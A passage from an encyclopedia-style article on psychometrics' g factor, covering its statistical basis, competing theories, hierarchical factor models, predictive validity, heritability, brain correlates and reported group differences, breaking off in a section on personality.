Spearman's correlation matrix for six measures of school performance. All the correlations are positive, the positive manifold phenomenon. The bottom row shows the g loadings of each performance measure.[8] Classics French English Math Pitch Music Classics - French .83 - English .78 .67 - Math .70 .67 .64 - Pitch discrimination .66 .65 .54 .45 - Music .63 .57 .51 .51 .40 - g .958 .882 .803 .750 .673 .646 Subtest intercorrelations in a sample of Scottish subjects who completed the WAIS-R battery. The subtests are Vocabulary, Similarities, Information, Comprehension, Picture arrangement, Block design, Arithmetic, Picture completion, Digit span, Object assembly, and Digit symbol. The bottom row shows the g loadings of each subtest.[9] V S I C PA BD A PC DSp OA DS V - S .67 - I .72 .59 - C .70 .58 .59 - PA .51 .53 .50 .42 - BD .45 .46 .45 .39 .43 - A .48 .43 .55 .45 .41 .44 - PC .49 .52 .52 .46 .48 .45 .30 - DSp .46 .40 .36 .36 .31 .32 .47 .23 - OA .32 .40 .32 .29 .36 .58 .33 .41 .14 - DS .32 .33 .26 .30 .28 .36 .28 .26 .27 .25 - g .83 .80 .80 .75 .70 .70 .68 .68 .56 .56 .48 Cognitive ability tests are designed to measure different aspects of cognition. Specific domains assessed by tests include mathematical skill, verbal fluency, spatial visualization, and memory, among others. However, individuals who excel at one type of test tend to excel at other kinds of tests, too, while those who do poorly on one test tend to do so on all tests, regardless of the tests' contents.[10] The English psychologist Charles Spearman was the first to describe this phenomenon.[11] In a famous research paper published in 1904,[12] he observed that children's performance measures across seemingly unrelated school subjects were positively correlated. This finding has since been replicated numerous times. The consistent finding of universally positive correlation matrices of mental test results (or the "positive manifold"), despite large differences in tests' contents, has been described as "arguably the most replicated result in all psychology".[13] Zero or negative correlations between tests suggest the presence of sampling error or restriction of the range of ability in the sample studied.[14] Using factor analysis or related statistical methods, it is possible to compute a single common factor that can be regarded as a summary variable characterizing the correlations between all the different tests in a test battery. Spearman referred to this common factor as the general factor, or simply g. (By convention, g is always printed as a lower case italic.) Mathematically, the g factor is a source of variance among individuals, which entails that one cannot meaningfully speak of any one individual's mental abilities consisting of g or other factors to any specified degrees. One can only speak of an individual's standing on g (or other factors) compared to other individuals in a relevant population.[14][15][16] Different tests in a test battery may correlate with (or "load onto") the g factor of the battery to different degrees. These correlations are known as g loadings. An individual test taker's g factor score, representing his or her relative standing on the g factor in the total group of individuals, can be estimated using the g loadings. Full-scale IQ scores from a test battery will usually be highly correlated with g factor scores, and they are often regarded as estimates of g. For example, the correlations between g factor scores and full-scale IQ scores from David Wechsler's tests have been found to be greater than .95.[1][14][17] The terms IQ, general intelligence, general cognitive ability, general mental ability, or simply intelligence are frequently used interchangeably to refer to the common core shared by cognitive tests.[2] The g loadings of mental tests are always positive and usually range between .10 and .90, with a mean of about .60 and a standard deviation of about .15. Raven's Progressive Matrices is among the tests with the highest g loadings, around .80. Tests of vocabulary and general information are also typically found to have high g loadings.[18][19] However, the g loading of the same test may vary somewhat depending on the composition of the test battery.[20] The complexity of tests and the demands they place on mental manipulation are related to the tests' g loadings. For example, in the forward digit span test the subject is asked to repeat a sequence of digits in the order of their presentation after hearing them once at a rate of one digit per second. The backward digit span test is otherwise the same except that the subject is asked to repeat the digits in the reverse order to that in which they were presented. The backward digit span test is more complex than the forward digit span test, and it has a significantly higher g loading. Similarly, the g loadings of arithmetic computation, spelling, and word reading tests are lower than those of arithmetic problem solving, text composition, and reading comprehension tests, respectively.[14][21] Test difficulty and g loadings are distinct concepts that may or may not be empirically related in any specific situation. Tests that have the same difficulty level, as indexed by the proportion of test items that are failed by test takers, may exhibit a wide range of g loadings. For example, tests of rote memory have been shown to have the same level of difficulty but considerably lower g loadings than many tests that involve reasoning.[21][22]
Theories Edit
While the existence of g as a statistical regularity is well-established and uncontroversial among experts, there is no consensus as to what causes the positive intercorrelations. Several explanations have been proposed.[23] Mental energy or efficiency Edit Charles Spearman reasoned that correlations between tests reflected the influence of a common causal factor, a general mental ability that enters into performance on all kinds of mental tasks. However, he thought that the best indicators of g were those tests that reflected what he called the eduction of relations and correlates, which included abilities such as deduction, induction, problem solving, grasping relationships, inferring rules, and spotting differences and similarities. Spearman hypothesized that g was equivalent with "mental energy". However, this was more of a metaphorical explanation, and he remained agnostic about the physical basis of this energy, expecting that future research would uncover the exact physiological nature of g.[24] Following Spearman, Arthur Jensen maintained that all mental tasks tap into g to some degree. According to Jensen, the g factor represents a "distillate" of scores on different tests rather than a summation or an average of such scores, with factor analysis acting as the distillation procedure.[19] He argued that g cannot be described in terms of the item characteristics or information content of tests, pointing out that very dissimilar mental tasks may have nearly equal g loadings. Wechsler similarly contended that g is not an ability at all but rather some general property of the brain. Jensen hypothesized that g corresponds to individual differences in the speed or efficiency of the neural processes associated with mental abilities.[25] He also suggested that given the associations between g and elementary cognitive tasks, it should be possible to construct a ratio scale test of g that uses time as the unit of measurement.[26] Sampling theory Edit The so-called sampling theory of g, originally developed by E.L. Thorndike and Godfrey Thomson, proposes that the existence of the positive manifold can be explained without reference to a unitary underlying capacity. According to this theory, there are a number of uncorrelated mental processes, and all tests draw upon different samples of these processes. The intercorrelations between tests are caused by an overlap between processes tapped by the tests.[27][28] Thus, the positive manifold arises due to a measurement problem, an inability to measure more fine-grained, presumably uncorrelated mental processes.[16] It has been shown that it is not possible to distinguish statistically between Spearman's model of g and the sampling model; both are equally able to account for intercorrelations among tests.[29] The sampling theory is also consistent with the observation that more complex mental tasks have higher g loadings, because more complex tasks are expected to involve a larger sampling of neural elements and therefore have more of them in common with other tasks.[30] Some researchers have argued that the sampling model invalidates g as a psychological concept, because the model suggests that g factors derived from different test batteries simply reflect the shared elements of the particular tests contained in each battery rather than a g that is common to all tests. Similarly, high correlations between different batteries could be due to them measuring the same set of abilities rather than the same ability.[31] Critics have argued that the sampling theory is incongruent with certain empirical findings. Based on the sampling theory, one might expect that related cognitive tests share many elements and thus be highly correlated. However, some closely related tests, such as forward and backward digit span, are only modestly correlated, while some seemingly completely dissimilar tests, such as vocabulary tests and Raven's matrices, are consistently highly correlated. Another problematic finding is that brain damage frequently leads to specific cognitive impairments rather than a general impairment one might expect based on the sampling theory.[16][32] Mutualism Edit The "mutualism" model of g proposes that cognitive processes are initially uncorrelated, but that the positive manifold arises during individual development due to mutual beneficial relations between cognitive processes. Thus there is no single process or capacity underlying the positive correlations between tests. During the course of development, the theory holds, any one particularly efficient process will benefit other processes, with the result that the processes will end up being correlated with one another. Thus similarly high IQs in different persons may stem from quite different initial advantages that they had.[16][33] Critics have argued that the observed correlations between the g loadings and the heritability coefficients of subtests are problematic for the mutualism theory.[34]
Factor structure of cognitive abilities Edit
s), while the purple areas represent the variance attributed to g. An illustration of Spearman's two-factor intelligence theory. Each small oval is a hypothetical mental test. The blue areas correspond to test-specific variance (), while the purple areas represent the variance attributed to Factor analysis is a family of mathematical techniques that can be used to represent correlations between intelligence tests in terms of a smaller number of variables known as factors. The purpose is to simplify the correlation matrix by using hypothetical underlying factors to explain the patterns in it. When all correlations in a matrix are positive, as they are in the case of IQ, factor analysis will yield a general factor common to all tests. The general factor of IQ tests is referred to as the g factor, and it typically accounts for 40 to 50 percent of the variance in IQ test batteries.[35] The presence of correlations between many widely varying cognitive tests has often been taken as evidence for the existence of g, but McFarland (2012) showed that such correlations do not provide any more or less support for the existence of g than for the existence of multiple factors of intelligence.[36] Charles Spearman developed factor analysis in order to study correlations between tests. Initially, he developed a model of intelligence in which variations in all intelligence test scores are explained by only two kinds of variables: first, factors that are specific to each test (denoted s); and second, a g factor that accounts for the positive correlations across tests. This is known as Spearman's two-factor theory. Later research based on more diverse test batteries than those used by Spearman demonstrated that g alone could not account for all correlations between tests. Specifically, it was found that even after controlling for g, some tests were still correlated with each other. This led to the postulation of group factors that represent variance that groups of tests with similar task demands (e.g., verbal, spatial, or numerical) have in common in addition to the shared g variance.[37] g. An illustration of John B. Carroll 's three stratum theory , an influential contemporary model of cognitive abilities. The broad abilities recognized by the model are fluid intelligence (Gf), crystallized intelligence (Gc), general memory and learning (Gy), broad visual perception (Gv), broad auditory perception (Gu), broad retrieval ability (Gr), broad cognitive speediness (Gs), and processing speed (Gt). Carroll regarded the broad abilities as different "flavors" of Through factor rotation, it is, in principle, possible to produce an infinite number of different factor solutions that are mathematically equivalent in their ability to account for the intercorrelations among cognitive tests. These include solutions that do not contain a g factor. Thus factor analysis alone cannot establish what the underlying structure of intelligence is. In choosing between different factor solutions, researchers have to examine the results of factor analysis together with other information about the structure of cognitive abilities.[38] There are many psychologically relevant reasons for preferring factor solutions that contain a g factor. These include the existence of the positive manifold, the fact that certain kinds of tests (generally the more complex ones) have consistently larger g loadings, the substantial invariance of g factors across different test batteries, the impossibility of constructing test batteries that do not yield a g factor, and the widespread practical validity of g as a predictor of individual outcomes. The g factor, together with group factors, best represents the empirically established fact that, on average, overall ability differences between individuals are greater than differences among abilities within individuals, while a factor solution with orthogonal factors without g obscures this fact. Moreover, g appears to be the most heritable component of intelligence.[39] Research utilizing the techniques of confirmatory factor analysis has also provided support for the existence of g.[38] A g factor can be computed from a correlation matrix of test results using several different methods. These include exploratory factor analysis, principal components analysis (PCA), and confirmatory factor analysis. Different factor-extraction methods produce highly consistent results, although PCA has sometimes been found to produce inflated estimates of the influence of g on test scores.[20][40] There is a broad contemporary consensus that cognitive variance between people can be conceptualized at three hierarchical levels, distinguished by their degree of generality. At the lowest, least general level there are a large number of narrow first-order factors; at a higher level, there are a relatively small number – somewhere between five and ten – of broad (i.e., more general) second-order factors (or group factors); and at the apex, there is a single third-order factor, g, the general factor common to all tests.[41][42][43] The g factor usually accounts for the majority of the total common factor variance of IQ test batteries.[44] Contemporary hierarchical models of intelligence include the three stratum theory and the Cattell–Horn–Carroll theory.[45]
"Indifference of the indicator" Edit
Spearman proposed the principle of the indifference of the indicator, according to which the precise content of intelligence tests is unimportant for the purposes of identifying g, because g enters into performance on all kinds of tests. Any test can therefore be used as an indicator of g.[5] Following Spearman, Arthur Jensen more recently argued that a g factor extracted from one test battery will always be the same, within the limits of measurement error, as that extracted from another battery, provided that the batteries are large and diverse.[46] According to this view, every mental test, no matter how distinctive, calls on g to some extent. Thus a composite score of a number of different tests will load onto g more strongly than any of the individual test scores, because the g components cumulate into the composite score, while the uncorrelated non-g components will cancel each other out. Theoretically, the composite score of an infinitely large, diverse test battery would, then, be a perfect measure of g.[47] In contrast, L.L. Thurstone argued that a g factor extracted from a test battery reflects the average of all the abilities called for by the particular battery, and that g therefore varies from one battery to another and "has no fundamental psychological significance."[48] Along similar lines, John Horn argued that g factors are meaningless because they are not invariant across test batteries, maintaining that correlations between different ability measures arise because it is difficult to define a human action that depends on just one ability.[49][50] To show that different batteries reflect the same g, one must administer several test batteries to the same individuals, extract g factors from each battery, and show that the factors are highly correlated. This can be done within a confirmatory factor analysis framework.[23] Wendy Johnson and colleagues have published two such studies.[51][52] The first found that the correlations between g factors extracted from three different batteries were .99, .99, and 1.00, supporting the hypothesis that g factors from different batteries are the same and that the identification of g is not dependent on the specific abilities assessed. The second study found that g factors derived from four of five test batteries correlated at between .95–1.00, while the correlations ranged from .79 to .96 for the fifth battery, the Cattell Culture Fair Intelligence Test (the CFIT). They attributed the somewhat lower correlations with the CFIT battery to its lack of content diversity for it contains only matrix-type items, and interpreted the findings as supporting the contention that g factors derived from different test batteries are the same provided that the batteries are diverse enough. The results suggest that the same g can be consistently identified from different test batteries.[41][53]
Population distribution Edit
The form of the population distribution of g is unknown, because g cannot be measured on a ratio scale[clarification needed]. (The distributions of scores on typical IQ tests are roughly normal, but this is achieved by construction, i.e., by normalizing the raw scores.) It has been argued[who?] that there are nevertheless good reasons for supposing that g is normally distributed in the general population, at least within a range of ±2 standard deviations from the mean. In particular, g can be thought of as a composite variable that reflects the additive effects of a large number of independent genetic and environmental influences, and such a variable should, according to the central limit theorem, follow a normal distribution.[54]
Spearman's law of diminishing returns Edit
A number of researchers have suggested that the proportion of variation accounted for by g may not be uniform across all subgroups within a population. Spearman's law of diminishing returns (SLODR), also termed the cognitive ability differentiation hypothesis, predicts that the positive correlations among different cognitive abilities are weaker among more intelligent subgroups of individuals. More specifically, (SLODR) predicts that the g factor will account for a smaller proportion of individual differences in cognitive tests scores at higher scores on the g factor. (SLODR) was originally proposed by Charles Spearman,[55] who reported that the average correlation between 12 cognitive ability tests was .466 in 78 normal children, and .782 in 22 "defective" children. Detterman and Daniel rediscovered this phenomenon in 1989.[56] They reported that for subtests of both the WAIS and the WISC, subtest intercorrelations decreased monotonically with ability group, ranging from approximately an average intercorrelation of .7 among individuals with IQs less than 78 to .4 among individuals with IQs greater than 122.[57] (SLODR) has been replicated in a variety of child and adult samples who have been measured using broad arrays of cognitive tests. The most common approach has been to divide individuals into multiple ability groups using an observable proxy for their general intellectual ability, and then to either compare the average interrelation among the subtests across the different groups, or to compare the proportion of variation accounted for by a single common factor, in the different groups.[58] However, as both Deary et al. (1996).[58] and Tucker-Drob (2009)[59] have pointed out, dividing the continuous distribution of intelligence into an arbitrary number of discrete ability groups is less than ideal for examining (SLODR). Tucker-Drob (2009)[59] extensively reviewed the literature on (SLODR) and the various methods by which it had been previously tested, and proposed that (SLODR) could be most appropriately captured by fitting a common factor model that allows the relations between the factor and its indicators to be nonlinear in nature. He applied such a factor model to a nationally representative data of children and adults in the United States and found consistent evidence for (SLODR). For example, Tucker-Drob (2009) found that a general factor accounted for approximately 75% of the variation in seven different cognitive abilities among very low IQ adults, but only accounted for approximately 30% of the variation in the abilities among very high IQ adults. A recent meta-analytic study by Blum and Holling[60] also provided support for the differentiation hypothesis. As opposed to most research on the topic, this work made it possible to study ability and age variables as continuous predictors of the g saturation, and not just to compare lower- vs. higher-skilled or younger vs. older groups of testees. Results demonstrate that the mean correlation and g loadings of cognitive ability tests decrease with increasing ability, yet increase with respondent age. (SLODR), as described by Charles Spearman, could be confirmed by a g-saturation decrease as a function of IQ as well as a g-saturation increase from middle age to senescence. Specifically speaking, for samples with a mean intelligence that is two standard deviations (i.e., 30 IQ-points) higher, the mean correlation to be expected is decreased by approximately .15 points. The question remains whether a difference of this magnitude could result in a greater apparent factorial complexity when cognitive data are factored for the higher-ability sample, as opposed to the lower-ability sample. It seems likely that greater factor dimensionality should tend to be observed for the case of higher ability, but the magnitude of this effect (i.e., how much more likely and how many more factors) remains uncertain.
Practical validity Edit
The practical validity of g as a predictor of educational, economic, and social outcomes is more far-ranging and universal than that of any other known psychological variable. The validity of g is greater the greater the complexity of the task.[61][62] A test's practical validity is measured by its correlation with performance on some criterion external to the test, such as college grade-point average, or a rating of job performance. The correlation between test scores and a measure of some criterion is called the validity coefficient. One way to interpret a validity coefficient is to square it to obtain the variance accounted by the test. For example, a validity coefficient of .30 corresponds to 9 percent of variance explained. This approach has, however, been criticized as misleading and uninformative, and several alternatives have been proposed. One arguably more interpretable approach is to look at the percentage of test takers in each test score quintile who meet some agreed-upon standard of success. For example, if the correlation between test scores and performance is .30, the expectation is that 67 percent of those in the top quintile will be above-average performers, compared to 33 percent of those in the bottom quintile.[63][64] Academic achievement Edit The predictive validity of g is most conspicuous in the domain of scholastic performance. This is apparently because g is closely linked to the ability to learn novel material and understand concepts and meanings.[61] In elementary school, the correlation between IQ and grades and achievement scores is between .60 and .70. At more advanced educational levels, more students from the lower end of the IQ distribution drop out, which restricts the range of IQs and results in lower validity coefficients. In high school, college, and graduate school the validity coefficients are .50–.60, .40–.50, and .30–.40, respectively. The g loadings of IQ scores are high, but it is possible that some of the validity of IQ in predicting scholastic achievement is attributable to factors measured by IQ independent of g. According to research by Robert L. Thorndike, 80 to 90 percent of the predictable variance in scholastic performance is due to g, with the rest attributed to non-g factors measured by IQ and other tests.[65] Achievement test scores are more highly correlated with IQ than school grades. This may be because grades are more influenced by the teacher's idiosyncratic perceptions of the student.[66] In a longitudinal English study, g scores measured at age 11 correlated with all the 25 subject tests of the national GCSE examination taken at age 16. The correlations ranged from .77 for the mathematics test to .42 for the art test. The correlation between g and a general educational factor computed from the GCSE tests was .81.[67] Research suggests that the SAT, widely used in college admissions, is primarily a measure of g. A correlation of .82 has been found between g scores computed from an IQ test battery and SAT scores. In a study of 165,000 students at 41 U.S. colleges, SAT scores were found to be correlated at .47 with first-year college grade-point average after correcting for range restriction in SAT scores (the correlation rises to .55 when course difficulty is held constant, i.e., if all students attended the same set of classes).[63][68] Job attainment Edit There is a high correlation of .90 to .95 between the prestige rankings of occupations, as rated by the general population, and the average general intelligence scores of people employed in each occupation. At the level of individual employees, the association between job prestige and g is lower – one large U.S. study reported a correlation of .65 (.72 corrected for attenuation). Mean level of g thus increases with perceived job prestige. It has also been found that the dispersion of general intelligence scores is smaller in more prestigious occupations than in lower level occupations, suggesting that higher level occupations have minimum g requirements.[69][70] Job performance Edit Research indicates that tests of g are the best single predictors of job performance, with an average validity coefficient of .55 across several meta-analyses of studies based on supervisor ratings and job samples. The average meta-analytic validity coefficient for performance in job training is .63.[71] The validity of g in the highest complexity jobs (professional, scientific, and upper management jobs) has been found to be greater than in the lowest complexity jobs, but g has predictive validity even for the simplest jobs. Research also shows that specific aptitude tests tailored for each job provide little or no increase in predictive validity over tests of general intelligence. It is believed that g affects job performance mainly by facilitating the acquisition of job-related knowledge. The predictive validity of g is greater than that of work experience, and increased experience on the job does not decrease the validity of g.[61][69] In a 2011 meta-analysis, researchers found that general cognitive ability (GCA) predicted job performance better than personality (Five factor model) and three streams of emotional intelligence. They examined the relative importance of these constructs on predicting job performance and found that cognitive ability explained most of the variance in job performance.[72] Other studies suggested that GCA and emotional intelligence have a linear independent and complementary contribution to job performance. Côté and Miners (2015)[73] found that these constructs are interrelated when assessing their relationship with two aspects of job performance: organisational citizenship behaviour (OCB) and task performance. Emotional intelligence is a better predictor of task performance and OCB when GCA is low and vice versa. For instance, an employee with low GCA will compensate his/her task performance and OCB, if emotional intelligence is high. Although these compensatory effects favour emotional intelligence, GCA still remains as the best predictor of job performance. Several researchers have studied the correlation between GCA and job performance among different job positions. For instance, Ghiselli (1973)[74] found that salespersons had a higher correlation than sales clerk. The former obtained a correlation of 0.61 for GCA, 0.40 for perceptual ability and 0.29 for psychomotor abilities; whereas sales clerk obtained a correlation of 0.27 for GCA, 0.22 for perceptual ability and 0.17 for psychomotor abilities.[75] Other studies compared GCA – job performance correlation between jobs of different complexity. Hunter and Hunter (1984)[76] developed a meta-analysis with over 400 studies and found that this correlation was higher for jobs of high complexity (0.57). Followed by jobs of medium complexity (0.51) and low complexity (0.38). Job performance is measured by objective rating performance and subjective ratings. Although the former is better than subjective ratings, most of studies in job performance and GCA have been based on supervisor performance ratings. This rating criteria is considered problematic and unreliable, mainly because of its difficulty to define what is a good and bad performance. Rating of supervisors tends to be subjective and inconsistent among employees.[77] Additionally, supervisor rating of job performance is influenced by different factors, such as halo effect,[78] facial attractiveness,[79] racial or ethnic bias, and height of employees.[80] However, Vinchur, Schippmann, Switzer and Roth (1998)[75] found in their study with sales employees that objective sales performance had a correlation of 0.04 with GCA, while supervisor performance rating got a correlation of 0.40. These findings were surprising, considering that the main criteria for assessing these employees would be the objective sales. In understanding how GCA is associated job performance, several researchers concluded that GCA affects acquisition of job knowledge, which in turn improves job performance. In other words, people high in GCA are capable to learn faster and acquire more job knowledge easily, which allow them to perform better. Conversely, lack of ability to acquire job knowledge will directly affect job performance. This is due to low levels of GCA. Also, GCA has a direct effect on job performance. In a daily basis, employees are exposed constantly to challenges and problem solving tasks, which success depends solely on their GCA. These findings are discouraging for governmental entities in charge of protecting rights of workers.[81] Because of the high correlation of GCA on job performance, companies are hiring employees based on GCA tests scores. Inevitably, this practice is denying the opportunity to work to many people with low GCA.[82] Previous researchers have found significant differences in GCA between race / ethnicity groups. For instance, there is a debate whether studies were biased against Afro-Americans, who scored significantly lower than white Americans in GCA tests.[83] However, findings on GCA-job performance correlation must be taken carefully. Some researchers have warned the existence of statistical artifacts related to measures of job performance and GCA test scores. For example, Viswesvaran, Ones and Schmidt (1996)[84] argued that is quite impossible to obtain perfect measures of job performance without incurring in any methodological error. Moreover, studies on GCA and job performance are always susceptible to range restriction, because data is gathered mostly from current employees, neglecting those that were not hired. Hence, sample comes from employees who successfully passed hiring process, including measures of GCA.[85] Income Edit The correlation between income and g, as measured by IQ scores, averages about .40 across studies. The correlation is higher at higher levels of education and it increases with age, stabilizing when people reach their highest career potential in middle age. Even when education, occupation and socioeconomic background are held constant, the correlation does not vanish.[86] Other correlates Edit The g factor is reflected in many social outcomes. Many social behavior problems, such as dropping out of school, chronic welfare dependency, accident proneness, and crime, are negatively correlated with g independent of social class of origin.[87] Health and mortality outcomes are also linked to g, with higher childhood test scores predicting better health and mortality outcomes in adulthood (see Cognitive epidemiology).[88]
Genetic and environmental determinants Edit
Main article: Heritability of IQ Heritability is the proportion of phenotypic variance in a trait in a population that can be attributed to genetic factors. The heritability of g has been estimated to fall between 40 and 80 percent using twin, adoption, and other family study designs as well as molecular genetic methods. Estimates based on the totality of evidence place the heritability of g at about 50%.[89] It has been found to increase linearly with age. For example, a large study involving more than 11,000 pairs of twins from four countries reported the heritability of g to be 41 percent at age nine, 55 percent at age twelve, and 66 percent at age seventeen. Other studies have estimated that the heritability is as high as 80 percent in adulthood, although it may decline in old age. Most of the research on the heritability of g has been conducted in the United States and Western Europe, but studies in Russia (Moscow), the former East Germany, Japan, and rural India have yielded similar estimates of heritability as Western studies.[41][90][91][92] Behavioral genetic research has also established that the shared (or between-family) environmental effects on g are strong in childhood, but decline thereafter and are negligible in adulthood. This indicates that the environmental effects that are important to the development of g are unique and not shared between members of the same family.[91] The genetic correlation is a statistic that indicates the extent to which the same genetic effects influence two different traits. If the genetic correlation between two traits is zero, the genetic effects on them are independent, whereas a correlation of 1.0 means that the same set of genes explains the heritability of both traits (regardless of how high or low the heritability of each is). Genetic correlations between specific mental abilities (such as verbal ability and spatial ability) have been consistently found to be very high, close to 1.0. This indicates that genetic variation in cognitive abilities is almost entirely due to genetic variation in whatever g is. It also suggests that what is common among cognitive abilities is largely caused by genes, and that independence among abilities is largely due to environmental effects. Thus it has been argued that when genes for intelligence are identified, they will be "generalist genes", each affecting many different cognitive abilities.[91][93][94] The g loadings of mental tests have been found to correlate with their heritabilities, with correlations ranging from moderate to perfect in various studies. Thus the heritability of a mental test is usually higher the larger its g loading is.[34] Much research points to g being a highly polygenic trait influenced by a large number of common genetic variants, each having only small effects. Another possibility is that heritable differences in g are due to individuals having different "loads" of rare, deleterious mutations, with genetic variation among individuals persisting due to mutation–selection balance.[94][95] A number of candidate genes have been reported to be associated with intelligence differences, but the effect sizes have been small and almost none of the findings have been replicated. No individual genetic variants have been conclusively linked to intelligence in the normal range so far. Many researchers believe that very large samples will be needed to reliably detect individual genetic polymorphisms associated with g.[41][95] However, while genes influencing variation in g in the normal range have proven difficult to find, a large number of single-gene disorders with mental retardation among their symptoms have been discovered.[96] Several studies suggest that tests with larger g loadings are more affected by inbreeding depression lowering test scores. There is also evidence that tests with larger g loadings are associated with larger positive heterotic effects on test scores. Inbreeding depression and heterosis suggest the presence of genetic dominance effects for g.[97]
Neuroscientific findings Edit
Main article: Neuroscience and intelligence g has a number of correlates in the brain. Studies using magnetic resonance imaging (MRI) have established that g and total brain volume are moderately correlated (r~.3–.4). External head size has a correlation of ~.2 with g. MRI research on brain regions indicates that the volumes of frontal, parietal and temporal cortices, and the hippocampus are also correlated with g, generally at .25 or more, while the correlations, averaged over many studies, with overall grey matter and overall white matter have been found to be .31 and .27, respectively. Some but not all studies have also found positive correlations between g and cortical thickness. However, the underlying reasons for these associations between the quantity of brain tissue and differences in cognitive abilities remain largely unknown.[2] Most researchers believe that intelligence cannot be localized to a single brain region, such as the frontal lobe. Brain lesion studies have found small but consistent associations indicating that people with more white matter lesions tend to have lower cognitive ability. Research utilizing NMR spectroscopy has discovered somewhat inconsistent but generally positive correlations between intelligence and white matter integrity, supporting the notion that white matter is important for intelligence.[2] Some research suggests that aside from the integrity of white matter, also its organizational efficiency is related to intelligence. The hypothesis that brain efficiency has a role in intelligence is supported by functional MRI research showing that more intelligent people generally process information more efficiently, i.e., they use fewer brain resources for the same task than less intelligent people.[2] Small but relatively consistent associations with intelligence test scores include also brain activity, as measured by EEG records or event-related potentials, and nerve conduction velocity.[98][99]
g in non-humans Edit
Main article: g factor in non-humans Evidence of a general factor of intelligence has also been observed in non-human animals. Studies have shown that g is responsible for 47% of the individual variance in primates[100] and between 55% and 60% in mice.[101][102] While not able to be assessed using the same intelligence measures used in humans, cognitive ability can be measured with a variety of interactive and observational tools focusing on innovation, habit reversal, social learning, and responses to novelty. Non-human models of g such as mice are used to study genetic influences on intelligence and neurological developmental research into the mechanisms behind and biological correlates of g.[103]
g (or c) in human groups Edit
Main article: Collective intelligence Similar to g for individuals, a new research path aims to extract a general collective intelligence factor c for groups displaying a group’s general ability to perform a wide range of tasks.[104] Definition, operationalization and statistical approach for this c factor are derived from and similar to g. Causes, predictive validity as well as additional parallels to g are investigated.[105]
Other biological associations Edit
Height is correlated with intelligence (r~.2), but this correlation has not generally been found within families (i.e., among siblings), suggesting that it results from cross-assortative mating for height and intelligence, or from another factor that correlates with both (e.g. nutrition). Myopia is known to be associated with intelligence, with a correlation of around .2 to .25, and this association has been found within families, too.[106]
Group similarities and differences Edit
See also: Sex and psychology Race and intelligence , and Nations and intelligence Cross-cultural studies indicate that the g factor can be observed whenever a battery of diverse, complex cognitive tests is administered to a human sample. The factor structure of IQ tests has also been found to be consistent across sexes and ethnic groups in the U.S. and elsewhere.[99] The g factor has been found to be the most invariant of all factors in cross-cultural comparisons. For example, when the g factors computed from an American standardization sample of Wechsler's IQ battery and from large samples who completed the Japanese translation of the same battery were compared, the congruence coefficient was .99, indicating virtual identity. Similarly, the congruence coefficient between the g factors obtained from white and black standardization samples of the WISC battery in the U.S. was .995, and the variance in test scores accounted for by g was highly similar for both groups.[107] Most studies suggest that there are negligible differences in the mean level of g between the sexes, and that sex differences in cognitive abilities are to be found in more narrow domains. For example, males generally outperform females in spatial tasks, while females generally outperform males in verbal tasks. Another difference that has been found in many studies is that males show more variability in both general and specific abilities than females, with proportionately more males at both the low end and the high end of the test score distribution.[108] Consistent differences between racial and ethnic groups in g have been found, particularly in the U.S. A 2001 meta-analysis of millions of subjects indicated that there is a 1.1 standard deviation gap in the mean level of g between white and black Americans, favoring the former. The mean score of Hispanic Americans was found to be .72 standard deviations below that of non-Hispanic whites.[109] In contrast, Americans of East Asian descent generally slightly outscore white Americans.[110] Several researchers have suggested that the magnitude of the black-white gap in cognitive ability tests is dependent on the magnitude of the test's g loading, with tests showing higher g loadings producing larger gaps (see Spearman's hypothesis).[111] It has also been claimed that racial and ethnic differences similar to those found in the U.S. can be observed globally.[112]
Relation to other psychological constructs Edit
Elementary cognitive tasks Edit Main article: Mental chronometry An illustration of the Jensen box , an apparatus for measuring choice reaction time. Elementary cognitive tasks (ECTs) also correlate strongly with g. ECTs are, as the name suggests, simple tasks that apparently require very little intelligence, but still correlate strongly with more exhaustive intelligence tests. Determining whether a light is red or blue and determining whether there are four or five squares drawn on a computer screen are two examples of ECTs. The answers to such questions are usually provided by quickly pressing buttons. Often, in addition to buttons for the two options provided, a third button is held down from the start of the test. When the stimulus is given to the subject, they remove their hand from the starting button to the button of the correct answer. This allows the examiner to determine how much time was spent thinking about the answer to the question (reaction time, usually measured in small fractions of second), and how much time was spent on physical hand movement to the correct button (movement time). Reaction time correlates strongly with g, while movement time correlates less strongly.[113] ECT testing has allowed quantitative examination of hypotheses concerning test bias, subject motivation, and group differences. By virtue of their simplicity, ECTs provide a link between classical IQ testing and biological inquiries such as fMRI studies. Working memory Edit One theory holds that g is identical or nearly identical to working memory capacity. Among other evidence for this view, some studies have found factors representing g and working memory to be perfectly correlated. However, in a meta-analysis the correlation was found to be considerably lower.[114] One criticism that has been made of studies that identify g with working memory is that "we do not advance understanding by showing that one mysterious concept is linked to another."[115] Piagetian tasks Edit Psychometric theories of intelligence aim at quantifying intellectual growth and identifying ability differences between individuals and groups. In contrast, Jean Piaget's theory of cognitive development seeks to understand qualitative changes in children's intellectual development. Piaget designed a number of tasks to verify hypotheses arising from his theory. The tasks were not intended to measure individual differences, and they have no equivalent in psychometric intelligence tests.[116][117] For example, in one of the best-known Piagetian conservation tasks a child is asked if the amount of water in two identical glasses is the same. After the child agrees that the amount is the same, the investigator pours the water from one of the glasses into a glass of different shape so that the amount appears different although it remains the same. The child is then asked if the amount of water in the two glasses is the same or different. Notwithstanding the different research traditions in which psychometric tests and Piagetian tasks were developed, the correlations between the two types of measures have been found to be consistently positive and generally moderate in magnitude. A common general factor underlies them. It has been shown that it is possible to construct a battery consisting of Piagetian tasks that is as good a measure of g as standard IQ tests.[116][118] Personality Edit Main article: Intelligence and personality The traditional view in psychology is that there is no meaningful relationship between personality and intelligence, and that the two should be studied separately. Intelligence can be understood in terms of what an individual can do, or what his or her maximal performance is, while personality can be thought of in terms of what an individual will typically do, or what his or her general tendencies of behavior are. Research has indicated that correlations between measures of intelligence and personality are small, and it has thus been argued that g is a purely cognitive variable that is independent of personality traits. In a 2007 meta-analysis the correlations between g and the "Big Five" personality traits were found to be as follows: conscientiousness -.04
agreeableness .00
extraversion .02
openness .22
